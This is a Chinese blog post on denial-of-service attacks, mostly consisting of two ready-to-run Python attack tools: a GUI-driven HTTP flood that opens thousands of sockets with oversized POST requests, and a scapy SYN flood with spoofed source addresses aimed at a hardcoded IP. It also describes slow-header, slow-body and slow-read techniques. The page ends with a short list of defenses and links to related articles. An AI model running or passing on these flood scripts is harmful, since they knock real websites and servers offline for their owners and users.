DOS攻击(一)
DOS攻击(一)
介绍
DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃,而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者允许的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。
python实现HTTP Flood
这里目标页面如果不填写默认为网站根目录, 攻击线程数并不是越多越好,线程数是访问一个socket队列获取已连接的socket然后进行dos攻击。因为python中队列取值早就封装了锁,如果线程过多就会频繁加解锁这就给了服务器喘息的机会。

点击stop中断dos攻击

import queue
import socket
import easygui
import threading
def consumer(q):
while True:
try:
s = q.get()
s.send(bytes("dos", 'utf8'))
print("[+] send OK!\n")
q.put(s)
except Exception as error:
print("[-] send Exception\n")
s.close()
def producer(q, host, port, request_packet):
for i in range(10000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
s.send(request_packet.encode("utf-8"))
print("[+] Send buf OK!\n")
q.put(s)
except Exception as error:
print("[-] Could not connect\n")
s.close()
def main():
message = 'DOS攻击参数'
title = 'hello DOS'
attack_parameters = ['目标ip或域名', '目标端口', '攻击的目标页面', '线程数']
host, port, page, thread_num = easygui.multenterbox(message, title, attack_parameters,
values=['', 80, '', 5])
port, thread_num = int(port), int(thread_num)
q = queue.Queue()
if page is None:
page = '/'
request_packet = (f"POST {page} HTTP/1.1\r\n"
"Host: {host}}\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: dos=9527\r\n"
"\r\n")
threading.Thread(target=producer, args=(q, host, port, request_packet), daemon=True).start()
threading.Thread(target=producer, args=(q, host, port, request_packet), daemon=True).start()
for i in range(thread_num):
threading.Thread(target=consumer, args=(q,), daemon=True).start()
easygui.indexbox(title='DOS', msg='Ongoing attack', choices=['Stop'])
if __name__ == '__main__':
main()
apache配置如下

开启攻击后网站直接无法访问

python 实现SYN Flood
from scapy.all import *
from scapy.layers.inet import IP, TCP
def syn_flood(target_ip, target_port):
while True:
# 随机的源IP
tmp = random.randint(10, 200)
src = f'{tmp}.{tmp + 1}.{tmp + 1}.{tmp - 1}'
IPlayer = IP(src=src, dst=target_ip)
TCPlayer = TCP(sport=4444, dport=target_port, flags="S")
packet = IPlayer / TCPlayer
send(packet)
def main():
for i in range(thread_num):
threading.Thread(target=syn_flood, args=(target_ip, target_port), daemon=True).start()
time.sleep(attack_time)
if __name__ == '__main__':
target_ip = '192.168.9.133'
target_port = 80
thread_num = 5
attack_time = 20
main()
上面是无法访问网站 下面这种synflood直接会让系统无法响应


源ip为随机ip 源端口也可以变成随机端口,右侧清一色的SYN请求

其他dos攻击
低速拒绝服务攻击(Low-rate Denial-of-Service attacks)
下面是正常get请求格式(纯手敲可能不规范)
GET或POST 路径 HTTP/1.1\r\n
Host:ip或域名\r\n
......
Connect:Keep-alive\r\n
\r\n
Slow headers
Connection: keep-alive ,但是保证http请求不以\r\n结尾。这样服务器会以为请求头并没有结束,然后每隔一段时间发送一个包每隔一段时间发送一个包,慢慢的让服务器陪着我们耗着。这一直未发送结束的HTTP包会一直占用服务端的资源。
Slow body
Content-length:10000000 请求体很长 一次发一点,耗服务器资源
Slow read
调整TCP协议中滑动窗口大小,来对服务器单次发送的数据大小进行控制,使得服务器需要对一个相应包分为很多个包来发送
还有ping泛洪(ping-Flood),UDP泛洪(UDP-Flood),分片炸弹(fragmentation bombs),缓冲区溢出(buffer overflow)和ICMP路由重定向炸弹(ICMP routeing redirect bomb)等等
DODS只是放大版的DOS ,由单个计算机攻击变成了成批计算机一起进行攻击
防御方式
- 分布式集群硬抗
- DDOS防火墙异常流量清洗
- 将非必要的网页做成静态网页
- 加CDN中转
- web服务器对应配置
- echo 1 > /proc/sys/net/ipv4/tcp_syncookies 能显著的延缓SYN泛洪造成的网络资源缺失现象
DOS攻击(一)的更多相关文章
- Linux下的DOS攻击
Linux下的DOS攻击 DOS是Denial of service的简称,即拒绝服务,造成Dos攻击行为被称为Dos攻击,其目的是使计算机或网络无法提供正常的服务.最常见的Dos攻击有计算机带宽攻击 ...
- XSS的DOS攻击之 server limit dos
墨西哥同学周末很郁闷的在宾馆上网,发现youtube被ban了,于是写个了tool解决这个问题.顺带想到了一种利用 google 统计的漏洞,写在这里了 http://sirdarckcat.blog ...
- 利用UDP19端口实施DOS攻击的真实案例
昨天在一个用户现场发现了一个利用UDP19端口对互联网受害者主机进行DOS攻击的真实案例.这个情况是我第一次见到,个人认为对以后遇到此类情况的兄弟具有参考价值.有必要做一个简单的分析记录. 在此次的分 ...
- DOS攻击和DDOS攻击有啥区别啊
DDOS是DOS攻击中的一种方法. DoS:是Denial of Service的简称,即拒绝服务,不是DOS操作系统,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务. ...
- dos攻击
概念理解 DoS到底是什么?接触PC机较早的同志会直接想到微软磁盘操作系统的DOS--DiskOperationSystem?不,此DoS非彼DOS也,DoS即DenialOfService,拒绝服务 ...
- DOS攻击之详解--转载
源地址没有找到,间接引用地址:http://wushank.blog.51cto.com/3489095/1156004 DoS到底是什么?接触PC机较早的同志会直接想到微软磁盘操作系统的DOS--D ...
- XML DOS 攻击
内容来自此文:http://msdn.microsoft.com/en-us/magazine/ee335713.aspx DoS(Denial of service:拒绝服务)攻击由来已久(1992 ...
- TCP/IP具体解释--三次握手和四次握手 Dos攻击
TCP连接的状态图 TCP建立连接的三次握手过程,以及关闭连接的四次握手过程 贴一个telnet建立连接,断开连接的使用wireshark捕获的packet截图. 1.建立连接协议(三次握手) (1) ...
- 真实故事:网站遭遇DOS攻击
网站遭遇DOS攻击 一个.事件背景 长假对于IT人员来说是个短暂的休整时期,可IT系统却一时也不能停.越是节假日,越可能出大问题,以下要讲述的就是一起遭受DOS攻击的案例. 春节长假刚过完,小李 ...
- 远离DoS攻击 Windows Server 2016发布DNS政策
Windows Server 2016的网络功能虽然没有获得像Docker容器和Nano Server同等重要的关注,但是管理员们应该了解的是,新的域名系统(Domain Name ...
随机推荐
- vue学习过程总结(04) - 菜鸟教程归纳
1.组件 组件(component)是vue.js最强大的功能之一.组件可以扩展html元素,封装可重用的代码.组件系统让我们可以用独立可复用的小组件来构建大型应用,几乎任意类型的应用的界面都可以抽象 ...
- Cobalt Strike的使用
0x00 Cobalt Strike简介 Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听, ...
- 无刷电调修理方法 | 银燕(EMAX)12A无刷电调维修
一. 银燕(XP-12A)电调修理 笔者的电调在使用4S电池时烧毁,其中一个PMOS管明显烧焦. 将其拆除,买来新元件重新焊接,通电依然冒烟了. 引脚定义 丝印662F: XC6206P332MR 低 ...
- pytest配置文件pytest.ini
说明: pytest.ini是pytest的全局配置文件,一般放在项目的根目录下 是一个固定的文件-pytest.ini 可以改变pytest的运行方式,设置配置信息,读取后按照配置的内容去运行 py ...
- C++各种输入
https://blog.csdn.net/qq_29735775/article/details/81165882 1.cin 2.cin.get() 3.cin.getline() 4.getli ...
- elasticsearch 是如何实现 master 选举的 ?
面试官:想了解 ES 集群的底层原理,不再只关注业务层面了. 前置前提: 1.只有候选主节点(master:true)的节点才能成为主节点. 2.最小主节点数(min_master_nodes)的目的 ...
- java-与文件相关
java.nio.file 表示non-blocking 非阻塞io(输入和输出) 一个 Path 对象表示一个文件或者目录的路径,是一个跨操作系统(OS)和文件系统的抽象 java.nio.file ...
- Netty学习摘记 —— 深入了解Netty核心组件
本文参考 本篇文章是对<Netty In Action>一书第三章"Netty的组件和设计"的学习摘记,主要内容为Channel.EventLoop.ChannelFu ...
- MCU选型
含义: MCU(Micro Controller Unit)中文名称为微控制单元,又称单片微型计算机(Single Chip Microcomputer),是指随着大规模集成电路的出现及其发展,将计算 ...
- 驳《我不是很懂 Node.js 社区的 DRY 文化》
今天在群里有人讨论方老师的文章<我不是很懂 Node.js 社区的 DRY 文化>,我也看了一遍,槽点太多,不知道如何下笔. 方老师分析了几个依赖最多的 npm 包,每个都只有不到百行代码 ...